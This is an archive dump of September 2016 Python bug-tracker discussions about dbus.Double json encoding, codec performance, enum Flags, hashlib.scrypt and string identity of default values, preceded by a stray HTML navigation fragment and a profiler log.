          cellpadding="0"
          cellspacing="0"
          class="navbarbot"
    ><tbody
     ><tr
      ><td align="center"
           height="18"
           width="100%"
      >
       <a class="navbarlink"
          href="../../taxmap/pub17/p17-187.htm"
          title="Publication 17 - Your Federal Income Tax (For Individuals) - How To Take the PTC"
        ><img alt="Left Arrow"
              src="../graphics/leftarr.gif"
        > Previous Page</a
       > |
       <a class="navbarlink"
          href="../../taxmap/pub17/p17toc.htm"
          title="Table of Contents for this Publication"
       >Table of Contents</a
       > |
       <a class="navbarlink"
          href="#top"
          title="Top of this Page"
       >Top of Page</a
       > |
       <a class="navbarlink"
          href="../../taxmap/pub17/p17_index.htm"
          title="Index for this Publication"
       >Index</a
       > |
       <a class="navbarlink"
          href="../../taxmap/pub17/p17-189.htm"
          title="Publication 17 - Your Federal Income Tax (For Individuals) - Refundable Credits"
       >Next Page
        <img alt="Right Arrow"
             src="../graphics/rightarr.gif"
       ></a
      ></td
     ></tr
    ></tbody
   ></table
  ></div
 ></body
></html>
-------------- next part --------------

profile for Python version 2.7.12.final.0
Linux babs 4.4.0-36-generic #55-Ubuntu SMP Thu Aug 11 18:01:55 UTC 2016 x86_64
Ubuntu 16.04.1 LTS \n \l
Thu Sep  1 15:45:41 2016    /tmp/profile-18760

         40004 function calls in 2.996 seconds

   Ordered by: internal time

   ncalls  tottime  percall  cumtime  percall filename:lineno(function)
    10000    2.964    0.000    2.964    0.000 {method 'sub' of '_sre.SRE_Pattern' objects}
    10000    0.016    0.000    0.017    0.000 /usr/lib/python2.7/re.py:230(_compile)
    10000    0.011    0.000    2.992    0.000 /usr/lib/python2.7/re.py:148(sub)
        1    0.005    0.005    2.996    2.996 ./test.py:174(test)
    10000    0.001    0.000    0.001    0.000 {isinstance}
        1    0.000    0.000    0.000    0.000 {range}
        1    0.000    0.000    2.996    2.996 <string>:1(<module>)
        1    0.000    0.000    0.000    0.000 {method 'disable' of '_lsprof.Profiler' objects}



From report at bugs.python.org  Fri Sep  2 10:01:47 2016
From: report at bugs.python.org (Eddie James)
Date: Fri, 02 Sep 2016 14:01:47 +0000
Subject: [issue27934] json float encoding incorrect for dbus.Double
In-Reply-To: <1472761223.9.0.580662580928.issue27934@psf.upfronthosting.co.za>
Message-ID: <1472824907.68.0.995590114959.issue27934@psf.upfronthosting.co.za>


Eddie James added the comment:

Understood on 2.7, I wasn't aware it would cause any issues.

Dbus.Double is not a subclass of float unfortunately. Problem is that all Dbus types seem to have a custom tp_repr method that returns that strange formatting I mentioned. So repr won't be the same as str, in any version of python.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27934>
_______________________________________

From report at bugs.python.org  Fri Sep  2 10:27:36 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 02 Sep 2016 14:27:36 +0000
Subject: [issue16334] Faster unicode-escape and raw-unicode-escape codecs
In-Reply-To: <1472816319.38.0.247037755651.issue16334@psf.upfronthosting.co.za>
Message-ID: <3036311.Mms2NO2dIf@xarax>


Serhiy Storchaka added the comment:

> Unicode escape encodecs were modified by the issue #25353 to use the
> _PyBytesWriter API. Sadly, I didn't benchmark my change before pushing it
> :-/

You can benchmark it now by checking out revisions with your patch and just 
before. But AFAIK the performance was not changed since 3.3 and the effect of 
your patch is the difference between columns 3.3 and 3.6 (very good).

I used scripts from https://bitbucket.org/storchaka/cpython-stuff/src/default/
bench/ .

> Your patch basically reverts my change.
> 
> > Py3.2        Py3.3        Py3.6        Py3.6+patch
> > 195 (+136%)  109 (+323%)  258 (+79%)   461    encode  unicode-escape 
> > 'A'*10000 391 (+1310%) 333 (+1556%) 575 (+859%)  5514   encode 
> > raw-unicode-escape  'A'*10000

> I'm surprised that the revert makes raw-unicode-escape encoder so much
> faster. Does it mean that the _PyBytesWriter API is so inefficient?

I don't remember all details, but it seems that after applying all 
optimizations _PyBytesWriter became just not needed (unlike to 
_PyUnicodeWriter that is used for widening a buffer).

The awesome difference in encoding for ascii-only data is not related to using 
_PyBytesWriter. It is caused by reordering checks in the inner loop.

> * Rename WRITECHAR macro to WRITE_ASCII_CHAR()

This is not correct name. This macro is used for writing non-ascii characters 
too.

> * Add WRITE_CHAR() macro to avoid "goto writechar;"
> * Drop the "store" label: use WRITE_CHAR() macro instead,

Did you benchmark this change? I afraid that this inflates execution code size 
and can have negative impact on the performance.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16334>
_______________________________________

From report at bugs.python.org  Fri Sep  2 10:33:44 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 02 Sep 2016 14:33:44 +0000
Subject: [issue16334] Faster unicode-escape and raw-unicode-escape codecs
In-Reply-To: <1351291705.86.0.638624862326.issue16334@psf.upfronthosting.co.za>
Message-ID: <1472826824.75.0.962136403255.issue16334@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> Did you benchmark this change? I afraid that this inflates execution code size and can have negative impact on the performance.

I consider that readability (maintainability) matters more than such micro optimization.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16334>
_______________________________________

From report at bugs.python.org  Fri Sep  2 10:40:01 2016
From: report at bugs.python.org (R. David Murray)
Date: Fri, 02 Sep 2016 14:40:01 +0000
Subject: [issue27934] json float encoding incorrect for dbus.Double
In-Reply-To: <1472761223.9.0.580662580928.issue27934@psf.upfronthosting.co.za>
Message-ID: <1472827201.0.0.313293597738.issue27934@psf.upfronthosting.co.za>


R. David Murray added the comment:

Nothing that can/should be done on the stdlib side, then.

----------
nosy: +r.david.murray
resolution:  -> third party
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27934>
_______________________________________

From report at bugs.python.org  Fri Sep  2 10:40:33 2016
From: report at bugs.python.org (Ethan Furman)
Date: Fri, 02 Sep 2016 14:40:33 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1472827233.45.0.0516654827184.issue23591@psf.upfronthosting.co.za>


Ethan Furman added the comment:

> Yes, you're correct here, but what about output? Do all relevant bits have
> to be named separately?

No.

> And will the output always talk about separate
> bits?

No.

> We have talked about this.

Indeed.  Here's my previous reply. ;)

>> The algorithm is simple: start with the biggest Flag and mask off
>> matching bits until all bits are are matched.

When I said "biggest flag" I meant the flag with the highest value (so a flag of 5 would get matched before a flag of four).

>> If any unmatched bits remain an error is raised.

This part is specifically for Flag; IntFlag will just show the values of any unmatched bits.

> If I give meaningful name to 1, 3, 4 and
> 6, but not to 2, is it supported?

Depends.  Not having 2 named has different consequences for Flag vs IntFlag (although neither is an error):

- Flag: no combination of flags will ever have the 2 bit set
- IntFlag: '2' will show in the name portion if the 2 bit is set

> And is the repr of 7 an implementation detail, or is it specified?

I should specify it in the docs, thanks.

> One more question: in the docs, you say 
>>
>> otherwise, all members evaluate as :data:`True`.
>
>I would like you to reconsider the case of `.0` (.NONE in my
> terminology). Many other things in the interface (e.g. `in` operator)
> are modelled as if flags instance were just a container (set, in fact)
> of bits. In that case, empty set _should_ be false. Otherwise, this will
> be a weird exception to the usual container semantics.

Very good point.  Unless I can think of a good reason not to, I'll make that change in the next couple days.

Thanks.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Fri Sep  2 10:44:04 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Fri, 02 Sep 2016 14:44:04 +0000
Subject: [issue27934] json float encoding incorrect for dbus.Double
In-Reply-To: <1472761223.9.0.580662580928.issue27934@psf.upfronthosting.co.za>
Message-ID: <1472827444.67.0.205056055676.issue27934@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

> Dbus.Double is not a subclass of float unfortunately.

Okay, now I'm *really* confused. :-)

If it's not a subclass of `float`, then how do you end up in the `floatstr` code? Every path to that code that I can see in the source is via an `isinstance(<value>, float`) check.

I don't know dbus at all, but I just tried installing it under Macports (on OS X 10.9). Here's the package description, so you can tell me whether I'm actually installing the right thing, or something totally unrelated:

    dbus-python35 @1.2.0_2 (devel, python)
        Python bindings for the dbus message bus system.

Once I've done that, I get the following behaviour in Python:

Python 3.5.2 (default, Aug 16 2016, 08:43:53) 
[GCC 4.2.1 Compatible Apple LLVM 6.0 (clang-600.0.57)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import dbus
>>> dbus.Double
<class 'dbus.Double'>
>>> dbus.Double.__mro__
(<class 'dbus.Double'>, <class '_dbus_bindings._FloatBase'>, <class 'float'>, <class 'object'>)

So it looks as though at least for this version of dbus, we do have a subclass of `float`. Looking at an instance, I see the following:

>>> x = dbus.Double(4.3)
>>> isinstance(x, float)
True
>>> repr(x)
'dbus.Double(4.3)'
>>> str(x)
'4.3'
>>> float.__repr__(x)
'4.3'
>>> float.__str__(x)
'4.3'
>>> import json
>>> json.dumps(x)
'4.3'

So I'm still struggling to see what difference swapping out float.__repr__ for float.__str__ would make.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27934>
_______________________________________

From report at bugs.python.org  Fri Sep  2 10:46:50 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Fri, 02 Sep 2016 14:46:50 +0000
Subject: [issue27934] json float encoding incorrect for dbus.Double
In-Reply-To: <1472761223.9.0.580662580928.issue27934@psf.upfronthosting.co.za>
Message-ID: <1472827610.34.0.189724470983.issue27934@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

> Nothing that can/should be done on the stdlib side, then.

I think there's nothing to do for 3.x: as far as I can tell, everything should be working exactly as desired there.

For 2.7, we may want to consider processing float instances using `float.__repr__` instead of plain old `repr`. I believe that would fix the OP's problem, and also bring the 2.7 behaviour more in line with the 3.x behaviour. It's a backwards incompatible behaviour change, but probably not a particularly disruptive one.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27934>
_______________________________________

From report at bugs.python.org  Fri Sep  2 10:48:44 2016
From: report at bugs.python.org (Stefan Behnel)
Date: Fri, 02 Sep 2016 14:48:44 +0000
Subject: [issue22458] Add fractions benchmark
In-Reply-To: <1411369830.75.0.216203072207.issue22458@psf.upfronthosting.co.za>
Message-ID: <1472827724.05.0.863427733517.issue22458@psf.upfronthosting.co.za>


Stefan Behnel added the comment:

> So this benchmark cannot be used to show the superiority of exact fractions.

I don't see how a benchmark would be a way to show that. It's certainly not the goal of this benchmark to show that one is computationally better than the other. But if a benchmark for one part of Python allows a direct, reasonable speed comparison with another, why would you object to make use of that?


> is the purpose of this benchmark to show that fractions are slow and generate interest in changing the situation?

There have been a couple of attempts to make them faster already. The speed improvements in Py3.5 and 3.6 directly result from those changes. Thus, making these improvements visible and comparable across Python versions and different implementations is one of the goals of this benchmark.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22458>
_______________________________________

From report at bugs.python.org  Fri Sep  2 10:55:02 2016
From: report at bugs.python.org (R. David Murray)
Date: Fri, 02 Sep 2016 14:55:02 +0000
Subject: [issue27931] Email parse IndexError <""@wiarcom.com>
In-Reply-To: <1472743779.07.0.918992764498.issue27931@psf.upfronthosting.co.za>
Message-ID: <1472828102.75.0.70737179984.issue27931@psf.upfronthosting.co.za>


R. David Murray added the comment:

You are correct, it is technically a valid angleaddr.  I'll review this next week, the patch looks good (thanks) but I need to double check a couple things before I commit.

----------
assignee:  -> r.david.murray
stage: needs patch -> commit review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27931>
_______________________________________

From report at bugs.python.org  Fri Sep  2 10:56:29 2016
From: report at bugs.python.org (Eddie James)
Date: Fri, 02 Sep 2016 14:56:29 +0000
Subject: [issue27934] json float encoding incorrect for dbus.Double
In-Reply-To: <1472761223.9.0.580662580928.issue27934@psf.upfronthosting.co.za>
Message-ID: <1472828189.91.0.0469973142334.issue27934@psf.upfronthosting.co.za>


Eddie James added the comment:

Thanks Mark, yes you installed the right package.

OK I didn't dig deep enough in the sub class. And yea, there shouldn't be any difference between float.__repr__ and float.__str__. Obviously repr calls the object's tp_repr method, while float.__repr__ calls the base float method, which is the one we want.

I didn't do any testing for python 3.x as I couldn't figure out how to import dbus into a local build of 3.x. My mistake here.

> For 2.7, we may want to consider processing float instances using `float.__repr__` instead of plain old `repr`

That should work! I'll upload a new patch for 2.7

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27934>
_______________________________________

From report at bugs.python.org  Fri Sep  2 11:03:02 2016
From: report at bugs.python.org (R. David Murray)
Date: Fri, 02 Sep 2016 15:03:02 +0000
Subject: [issue27937] logging.getLevelName microoptimization
In-Reply-To: <1472805188.28.0.230242025346.issue27937@psf.upfronthosting.co.za>
Message-ID: <1472828582.02.0.405569235839.issue27937@psf.upfronthosting.co.za>


R. David Murray added the comment:

Parens do not cause lazy evaluation unless what is parenthesized is a generator comprehension.  An expanded if solution is the correct one.  

If Vinay prefers a one liner, I think you could also write:

   _levelToName.get(level) or _nameToLevel.get(level) or ("Level %s" % level)

Because we know we get back either a True string or None, I don't think there's any ambiguity there.

----------
nosy: +r.david.murray, vinay.sajip

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27937>
_______________________________________

From report at bugs.python.org  Fri Sep  2 11:03:09 2016
From: report at bugs.python.org (Eddie James)
Date: Fri, 02 Sep 2016 15:03:09 +0000
Subject: [issue27934] json float encoding incorrect for dbus.Double
In-Reply-To: <1472761223.9.0.580662580928.issue27934@psf.upfronthosting.co.za>
Message-ID: <1472828589.57.0.57968654199.issue27934@psf.upfronthosting.co.za>


Eddie James added the comment:

Wait what about the json C code for 2.7? That's still using PyObject_Repr() which will call tp_repr for dbus.Double... Any suggestions?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27934>
_______________________________________

From report at bugs.python.org  Fri Sep  2 11:07:59 2016
From: report at bugs.python.org (R. David Murray)
Date: Fri, 02 Sep 2016 15:07:59 +0000
Subject: [issue27934] json float encoding incorrect for dbus.Double
In-Reply-To: <1472761223.9.0.580662580928.issue27934@psf.upfronthosting.co.za>
Message-ID: <1472828879.69.0.610949411533.issue27934@psf.upfronthosting.co.za>


Changes by R. David Murray <rdmurray at bitdance.com>:


----------
resolution: third party -> 
stage: resolved -> needs patch
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27934>
_______________________________________

From report at bugs.python.org  Fri Sep  2 11:38:16 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Fri, 02 Sep 2016 15:38:16 +0000
Subject: [issue27934] json float encoding incorrect for dbus.Double
In-Reply-To: <1472761223.9.0.580662580928.issue27934@psf.upfronthosting.co.za>
Message-ID: <1472830696.08.0.88306181654.issue27934@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

> That's still using PyObject_Repr() which will call tp_repr for dbus.Double... Any suggestions?

Right, you'll want to replace that with a call to `PyFloat_Type.tp_repr(obj)`, as in the Python 3 code.

We're in a bit of a grey area here: making this change to the 2.7 branch does require making a case that it's a bugfix rather than a new feature (which isn't permitted in 2.7), *and* that it's not going to cause gratuitous breakage in existing json-using applications. I think there *is* a reasonable case there, but others may disagree. One point in its favour is that we're *already* behaving like a regular float for special values:

Python 2.7.12 (default, Jun 29 2016, 12:46:54) 
[GCC 4.2.1 Compatible Apple LLVM 6.0 (clang-600.0.57)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import dbus, json
>>> x = dbus.Double(float('inf'))
>>> json.dumps(x)  # not using repr(x) here
'Infinity'
>>> repr(x)
'dbus.Double(inf)'
>>> x = dbus.Double(2.3)
>>> json.dumps(x)  # using repr(x) here
'dbus.Double(2.3)'
>>> repr(x)
'dbus.Double(2.3)'

----------
versions:  -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27934>
_______________________________________

From report at bugs.python.org  Fri Sep  2 11:40:20 2016
From: report at bugs.python.org (Stefan Behnel)
Date: Fri, 02 Sep 2016 15:40:20 +0000
Subject: [issue27940] xml.etree: Avoid XML declaration for the "ascii" encoding
In-Reply-To: <1472813879.44.0.998977479164.issue27940@psf.upfronthosting.co.za>
Message-ID: <1472830820.71.0.439083345378.issue27940@psf.upfronthosting.co.za>


Stefan Behnel added the comment:

> By the way, I'm surprised that the special encoding "unicode" relies on the *current* locale encoding when the XML declaration is requested.

That seems a weird choice. Since it serialises to a Unicode string, it shouldn't have any XML declaration at all, if only to make it easy for users to add one themselves if they feel like it.

I guess it's too late to change that now, though...

----------
nosy: +scoder

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27940>
_______________________________________

From report at bugs.python.org  Fri Sep  2 11:50:00 2016
From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0Log0JrQvtGA0LXQvdCx0LXRgNCz?=)
Date: Fri, 02 Sep 2016 15:50:00 +0000
Subject: [issue27456] asyncio: set TCP_NODELAY flag by default
In-Reply-To: <1467732468.65.0.201519937735.issue27456@psf.upfronthosting.co.za>
Message-ID: <1472831400.48.0.65613910928.issue27456@psf.upfronthosting.co.za>


???? ????????? added the comment:

vote +10 for that

----------
nosy: +mmarkk

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27456>
_______________________________________

From report at bugs.python.org  Fri Sep  2 12:02:44 2016
From: report at bugs.python.org (Eddie James)
Date: Fri, 02 Sep 2016 16:02:44 +0000
Subject: [issue27934] json float encoding incorrect for dbus.Double
In-Reply-To: <1472761223.9.0.580662580928.issue27934@psf.upfronthosting.co.za>
Message-ID: <1472832164.27.0.717968364215.issue27934@psf.upfronthosting.co.za>


Changes by Eddie James <eajames at us.ibm.com>:


Added file: http://bugs.python.org/file44349/json-float-repr-2.7.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27934>
_______________________________________

From report at bugs.python.org  Fri Sep  2 12:08:13 2016
From: report at bugs.python.org (Eddie James)
Date: Fri, 02 Sep 2016 16:08:13 +0000
Subject: [issue27934] json float encoding incorrect for dbus.Double
In-Reply-To: <1472761223.9.0.580662580928.issue27934@psf.upfronthosting.co.za>
Message-ID: <1472832493.89.0.462078610933.issue27934@psf.upfronthosting.co.za>


Eddie James added the comment:

Python 2.7 also already behaves correctly for other dbus types:

Python 2.7.6 (default, Jun 22 2015, 17:58:13) 
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import dbus
>>> import json
>>> x = dbus.Int32(3)
>>> x
dbus.Int32(3)
>>> json.dumps(x)
'3'
>>> repr(x)
'dbus.Int32(3)'

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27934>
_______________________________________

From report at bugs.python.org  Fri Sep  2 12:30:15 2016
From: report at bugs.python.org (Christian Heimes)
Date: Fri, 02 Sep 2016 16:30:15 +0000
Subject: [issue27928] Add hashlib.scrypt
In-Reply-To: <1472732959.81.0.0491310720646.issue27928@psf.upfronthosting.co.za>
Message-ID: <1472833815.87.0.17786077151.issue27928@psf.upfronthosting.co.za>


Christian Heimes added the comment:

You are right. Let's try this again. How do you like:

>>> hashlib.scrypt(b'', n=2, r=2, p=3)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: salt is required
>>> hashlib.scrypt(b'', salt=b'')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: n is required and must be an unsigned int
>>> hashlib.scrypt(b'', n=None, r=2, p=3)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: scrypt() argument 3 must be int, not None

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27928>
_______________________________________

From report at bugs.python.org  Fri Sep  2 12:31:27 2016
From: report at bugs.python.org (Samuele Santi)
Date: Fri, 02 Sep 2016 16:31:27 +0000
Subject: [issue27941] Bad error message from Decimal('garbage') across the py3
 range
Message-ID: <1472833887.9.0.541510486765.issue27941@psf.upfronthosting.co.za>


New submission from Samuele Santi:

Looks like, on some occasions, running ``Decimal('garbage')`` on Python 3.x decimal raises this error:

    decimal.InvalidOperation: [<class 'decimal.ConversionSyntax'>]

instead of the usual:

    decimal.InvalidOperation: Invalid literal for Decimal: 'garbage'


This seems to be caused by the built-in decimal module on 3.x, while it's just fine with decimal.py / _pydecimal.py (eg. the system Python on Archlinux).

I'm attaching the output from a few tests I made against different interpreters.

----------
files: test-decimal-error-output.txt
messages: 274254
nosy: Samuele Santi
priority: normal
severity: normal
status: open
title: Bad error message from Decimal('garbage') across the py3 range
type: behavior
versions: Python 3.4, Python 3.5
Added file: http://bugs.python.org/file44350/test-decimal-error-output.txt

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27941>
_______________________________________

From report at bugs.python.org  Fri Sep  2 12:38:27 2016
From: report at bugs.python.org (Brett Cannon)
Date: Fri, 02 Sep 2016 16:38:27 +0000
Subject: [issue27869] test failures under Bash on Windows
In-Reply-To: <1472236837.41.0.811658562373.issue27869@psf.upfronthosting.co.za>
Message-ID: <1472834307.82.0.666023735193.issue27869@psf.upfronthosting.co.za>


Brett Cannon added the comment:

I re-ran the test suite in a directory not under /mnt/c to see if having a different file owner would change things and it did. test_logging and test_socket still hang, but the failures go down to 23:

    test_asyncio test_asyncore test_eintr test_epoll test_faulthandler
    test_fcntl test_ftplib test_httpservers test_import test_mmap
    test_multiprocessing_fork test_multiprocessing_forkserver
    test_multiprocessing_main_handling test_multiprocessing_spawn
    test_os test_posix test_resource test_signal test_socketserver
    test_subprocess test_time test_unicode_file test_wsgiref

----------
title: test failures on Bash on Windows -> test failures under Bash on Windows

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27869>
_______________________________________

From report at bugs.python.org  Fri Sep  2 12:38:50 2016
From: report at bugs.python.org (Stefan Krah)
Date: Fri, 02 Sep 2016 16:38:50 +0000
Subject: [issue22458] Add fractions benchmark
In-Reply-To: <1411369830.75.0.216203072207.issue22458@psf.upfronthosting.co.za>
Message-ID: <1472834330.96.0.0353623033375.issue22458@psf.upfronthosting.co.za>


Stefan Krah added the comment:

The reason is that the benchmark is a softball for fractions. Using the fastest fraction implementation (gmpy.mpq) and the best printing method for both types, gmpy.mpq seems to be about 2.5 to 3 times slower than decimal.

It is however easy to generate benchmarks where mpq is 3000 times slower, depending on how many prime factors accumulate in the denominator.


Fractions will shine in most benchmarks where decimal is exact anyway.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22458>
_______________________________________

From report at bugs.python.org  Fri Sep  2 12:45:37 2016
From: report at bugs.python.org (Kay Hayen)
Date: Fri, 02 Sep 2016 16:45:37 +0000
Subject: [issue27942] Default value identity regression
Message-ID: <1472834737.57.0.822205168917.issue27942@psf.upfronthosting.co.za>


New submission from Kay Hayen:

Consider this:

def defaultKeepsIdentity(arg = "str_value"):
    print(arg is "str_value")

defaultKeepsIdentity()

This has been outputing "True" on every Python release I have seen so far, but not so on 3.6.0a4. Normally string values come from a "co_const" and will be "is" identical if used as literals in a module, but no longer in this case.

This seems wasteful at best, needlessly increasing the number of strings in usage. 

Yours,
Kay

----------
components: Interpreter Core
messages: 274257
nosy: Kay.Hayen
priority: normal
severity: normal
status: open
title: Default value identity regression
type: resource usage
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27942>
_______________________________________

From report at bugs.python.org  Fri Sep  2 12:53:03 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Fri, 02 Sep 2016 16:53:03 +0000
Subject: [issue27928] Add hashlib.scrypt
In-Reply-To: <1472732959.81.0.0491310720646.issue27928@psf.upfronthosting.co.za>
Message-ID: <1472835183.93.0.432424127628.issue27928@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

It looks good. But Christian, may I ask how do you generate the argument clinic? It looks from me that the declaration cannot give you such a format "y*|$y*O!O!O!ll:scrypt". I rerun clinic.py and the .c.h file is altered. Maybe it's better to abandon AC for right now?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27928>
_______________________________________

From report at bugs.python.org  Fri Sep  2 12:53:05 2016
From: report at bugs.python.org (Stefan Krah)
Date: Fri, 02 Sep 2016 16:53:05 +0000
Subject: [issue27941] Bad error message from Decimal('garbage') across the py3
 range
In-Reply-To: <1472833887.9.0.541510486765.issue27941@psf.upfronthosting.co.za>
Message-ID: <1472835185.09.0.396845829849.issue27941@psf.upfronthosting.co.za>


Stefan Krah added the comment:

Hardly a bad error message, but see #26208.

----------
nosy: +skrah
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> decimal C module's exceptions don't match the Python version
type: behavior -> enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27941>
_______________________________________

From report at bugs.python.org  Fri Sep  2 13:10:11 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Fri, 02 Sep 2016 17:10:11 +0000
Subject: [issue27931] Email parse IndexError <""@wiarcom.com>
In-Reply-To: <1472743779.07.0.918992764498.issue27931@psf.upfronthosting.co.za>
Message-ID: <1472836211.17.0.535407928452.issue27931@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

It should be. If there is anything wrong I'd like to hear and fix.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27931>
_______________________________________

From report at bugs.python.org  Fri Sep  2 13:17:10 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Fri, 02 Sep 2016 17:17:10 +0000
Subject: [issue27934] json float encoding incorrect for dbus.Double
In-Reply-To: <1472761223.9.0.580662580928.issue27934@psf.upfronthosting.co.za>
Message-ID: <1472836630.7.0.826332679913.issue27934@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

Yes. I'm fairly convinced about the bug part; it's the gratuitous breakage part that worries me. It wouldn't surprise me at all to find that there's someone out there who wants all their numbers to be written out to JSON with exactly 6 places after the point, and subclasses float just for that purpose. (I'm not for a moment suggesting that this is a good idea, but there's a big difference between the set of Python code that *should* have been written and the set of Python code that *has* been written. :-)

>>> class MyFloat(float):
...     def __repr__(self):
...         return '{:.6f}'.format(self)
... 
>>> import math, json
>>> json.dumps(MyFloat(math.pi))
'3.141593'

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27934>
_______________________________________

From report at bugs.python.org  Fri Sep  2 13:19:50 2016
From: report at bugs.python.org (Steven D'Aprano)
Date: Fri, 02 Sep 2016 17:19:50 +0000
Subject: [issue27942] Default value identity regression
In-Reply-To: <1472834737.57.0.822205168917.issue27942@psf.upfronthosting.co.za>
Message-ID: <1472836790.28.0.751403597074.issue27942@psf.upfronthosting.co.za>


Steven D'Aprano added the comment:

Can confirm the expected behaviour (printing True) in Python 2.4 through 2.7, 3.3, Jython 2.5, and even venerable old Python 1.5 (where it prints 1).

But *not* IronPython 2.6, where it prints False.

In 3.6, the difference seems to be here:

py> f = defaultKeepsIdentity
py> f.__defaults__[0] is f.__code__.co_consts[1]
False
py> f.__defaults__[0] == f.__code__.co_consts[1]
True

This behaviour is not specified by the language. Caching and re-use of strings has always been subject to change. Nevertheless, perhaps it is time for this to be make a language feature: inside a function, any use of the same string literal should use the same object?

----------
nosy: +steven.daprano

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27942>
_______________________________________

From report at bugs.python.org  Fri Sep  2 13:23:12 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 02 Sep 2016 17:23:12 +0000
Subject: [issue27942] Default value identity regression
In-Reply-To: <1472834737.57.0.822205168917.issue27942@psf.upfronthosting.co.za>
Message-ID: <1472836992.97.0.459399883342.issue27942@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

This likely is an interference of issue27095 with issue26148. I consider this as a regression. This causes not only a waste of memory, but can affect a performance, since comparing non-identical strings is slower than comparing identical strings.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27942>
_______________________________________

From report at bugs.python.org  Fri Sep  2 13:39:44 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 02 Sep 2016 17:39:44 +0000
Subject: [issue22458] Add fractions benchmark
In-Reply-To: <1472834330.96.0.0353623033375.issue22458@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwZMyU+zj55j2EMpoHEBPq2UcPhf4DpGpH5X7q51xpTmwA@mail.gmail.com>


STINNER Victor added the comment:

Stefan Krah added the comment:
> Fractions will shine in most benchmarks where decimal is exact anyway.

According to Stefan's latest message, the purpose of the benchmark is
not the compare decimal to fractions, but measure the performance of
fractions for one Python implementation. For example, it can be used
to check that fractions is faster in Python 3.6 than Python 3.4
fractions.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22458>
_______________________________________

From report at bugs.python.org  Fri Sep  2 13:44:35 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Fri, 02 Sep 2016 17:44:35 +0000
Subject: [issue27936] Inconsistent round behavior between float and int
In-Reply-To: <1472799175.75.0.400083322493.issue27936@psf.upfronthosting.co.za>
Message-ID: <1472838275.34.0.764591664502.issue27936@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

For the record, the float behaviour was changed (for Python 3.5) in http://bugs.python.org/issue19933. There didn't seem to be any particularly strong motivation for that change, but it's done now.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27936>
_______________________________________

From report at bugs.python.org  Fri Sep  2 13:45:00 2016
From: report at bugs.python.org (Brett Cannon)
Date: Fri, 02 Sep 2016 17:45:00 +0000
Subject: [issue27869] test failures under Bash on Windows
In-Reply-To: <1472236837.41.0.811658562373.issue27869@psf.upfronthosting.co.za>
